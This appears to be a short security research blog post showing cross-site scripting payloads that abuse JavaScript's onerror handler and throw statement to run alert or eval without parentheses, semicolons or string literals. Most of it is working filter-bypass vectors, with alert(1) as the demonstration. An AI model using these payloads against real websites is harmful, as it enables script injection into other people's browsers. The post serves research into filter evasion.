Hacking onerror/throw

# Gareth Heyes (5 years ago)

I’ve been having fun with onerror and throw to call functions passing the argument without using parentheses or template strings. It’s useful for XSS in certain situations where you have a restricted amount of characters.

For example you can do the following:

onerror=alert;throw'XSS'

Then I saw a filter blocking semi-colon and I thought it would be fun to do the same but without that. Because throw accepts an expression you can define the onerror first and the use the last part of the expression to send the argument.

throw onerror = alert, 'some string', 123, 'haha'

Using a block statement you can also remove the need of the semi-colon.

{onerror=alert}throw 1

So then the next stage was to evaluate code, this can be done quite easily in Chrome because it prefixes exceptions with Uncaught.

onerror=eval;throw'=alert\x281\x29'

But on Firefox it prefixes custom exceptions with a two word value which would be invalid JavaScript so of course I tried to hack that and inspected the Error object to see what properties it had. I constructed an object literal with the same properies as the Error object and it worked! Then I just reduced the properties until I found the minimal required.

{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:'',message:'alert\x281\x29'}

@terjanq came along and decided to remove all all the string literals and produce a cool vector.

<script>throw/a/,a=URL+0,g=alert,onerror=eval,{lineNumber:1,columnNumber:1,fileName:0,message:0+/1/g+a[12]+[1337,331,337]+a[13]}</script>

Then Pepe Vila produced a cool vector that doesn’t even use throw at all. Using type error to send the payload, nice!

TypeError.prototype.name='=/',0[onerror=eval]['/-alert(1)//']

That’s it we had lots of fun on Twitter with this hope you enjoyed me sharing it.